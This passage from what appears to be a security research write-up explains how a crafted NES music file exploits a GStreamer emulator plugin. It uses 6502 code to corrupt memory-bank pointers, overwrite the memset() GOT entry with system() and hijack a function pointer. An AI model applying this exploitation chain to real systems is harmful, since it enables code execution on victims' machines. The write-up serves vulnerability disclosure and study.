font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">; Causes 0x6xxx RAM to map to 0x1000 into the ROM.</span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">; Which will be out of bounds relative to main host heap :-)</span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">; Note that 0x6xxx is writable whereas 0x8xxx+ is not, so we need this.</span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">; Offset e.g. 0x160 into the 0x6xxx space is a main heap pointer.</span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">; This main heap pointer can be read/written from 6502 at e.g. 0x6160.</span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">STA $5ff6</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">If you’re not familiar with 6502, hopefully you got an idea of some of the simple elegance of the opcodes. Perhaps you also noted some headaches:</span></div>
<ul style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">There’s no instruction to bitshift by a variable amount. Hence, 4 LSR’s in a row (logical shift right) to effectively do what is </span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">>> 4</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> in C.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">This really is an 8-bit processor, no 16-bit registers, so a simple 16-bit calculation has to be broken into two halves with careful management of the the carry flag! (SBC is SuBtract with Carry.)</span></div>
</li>
</ul>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Once the correct ROM bank is mapped writable, there’s a further normalization calculation which actually adds the bank offset to the raw host heap pointer </span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">nes6502_context::mem_page[6]</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. This is a very precise memory corruption and it takes effect the next frame. It ensures that 0x6000 points exactly to </span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">nes6502_context::mem_page[6]</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> for all possible bank offsets that we might have located it at.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">3: Start a series of read / add / write sequences, in a one-per-frame loop</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">With a normalized 6502 virtual address 0x6000 that points exactly to </span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">nes6502_context::mem_page[6]</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, we’re in good shape to start reading and writing the full host heap (and stack / BSS / whatever pointers we can find and follow or calculate!) with perfect accuracy, using 6502 opcodes. If we modify the </span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">mem_page</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> array, the effect is not visible to 6502 memory accesses until the next frame, so we simply do one memory modification per frame.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The table used to drive the read / add / write loop is located at ROM offset 0x20 and each entry is 8 bytes, e.g. the first one:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">50 60 08 60 60 6f ff ff</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">This means, read 8 bytes from virtual address 0x6050, add (sign extended, effectively a subtraction) 0xffff6f60 to that 8 byte value, and write it back to virtual address 0x6008.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">4: Calculate the address of the </span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">libgstnsf.so</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;"> BSS</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">We’re in luck: the value of </span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">nes6502_context::read_handler</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, which now is readily available at virtual address 0x6050, is at a fixed value from the start of the BSS because it points to an object in the BSS. We calculate the start of the BSS and write it to virtual address 0x6008, which is </span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">nes6502_context::mem_page[7]</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. In other words, we just mapped a readable and writable view of the BSS at virtual address 0x7000 in our little 6502 CPU.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">5: Edit the value of the </span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">memset()</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;"> GOT entry</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">At offset 0xf8 into the GOT exists the </span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">memset()</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> function pointer. This is a pointer into glibc. It is now mapped at virtual address 0x70f8. Do you know what else is in glibc, at a fixed relative offset? </span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">system()</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. By adding a fixed value to the </span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">memset()</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> GOT entry, we ensure future calls to </span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">memset()</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> will in fact call </span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">system()</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">6: Map the actual </span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">nes6502_context::read_handler</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;"> object at 0x7000</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Here’s the </span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">read_handler</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> definition; the </span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">read_handler</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> pointer points to an array of these:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">typedef struct</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">{</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> uint32 min_range, max_range;</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> uint8 (*read_func)(uint32 address);</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">} nes6502_memread;</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">And here are some of the entries that fill this array:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">static nes6502_memread default_readhandler[] = {</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> {0x0800, 0x1FFF, read_mirrored_ram},</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> {0x4000, 0x4017, apu_read},</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> {(uint32) - 1, (uint32) - 1, NULL}</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">};</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">As you can see, this object contains function pointers. Useful. Also useful are that these function pointers are called in normal operation of the 6502 memory accesses, when accesses to certain virtual addresses are made.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">7: Change the </span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">apu_read()</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;"> function pointer</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">By accessing virtual address 0x7018, we’re now (thanks to step 6 above) accessing index 0x18 into the </span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">read_handler</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> BSS object. The </span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">apu_read()</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> function pointer, called for reads of 0x4000 - 0x4017, is stored there. We add a little bit to this pointer (0x1d0) in order to in fact change the function pointer to </span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">apu_reset()</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. The reason will become apparent shortly!</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">8: Calculate the address of BSS variable </span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">apu</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">, again using a fixed relative offset from </span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">nes6502_context::read_handler</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">apu</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> is defined thusly:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">/* pointer to active APU */</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">static apu_t *apu;</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">We write the calculated address such that virtual address 0x7000 points to the value of </span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">apu</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">9: Copy the value of the </span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">apu</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;"> pointer into the memory bank mappings so we can dereference into the </span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">apu</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;"> object at virtual address 0x7000</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Just chasing a level of pointer indirection here, because the BSS value is just a pointer to the actual object which is on the heap.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">10: Write the string “xcalc” into the </span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">apu</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;"> object</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The </span><span style="background-color: transparent; color: black; font-family: "consolas"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">apu</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> object is quite large:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
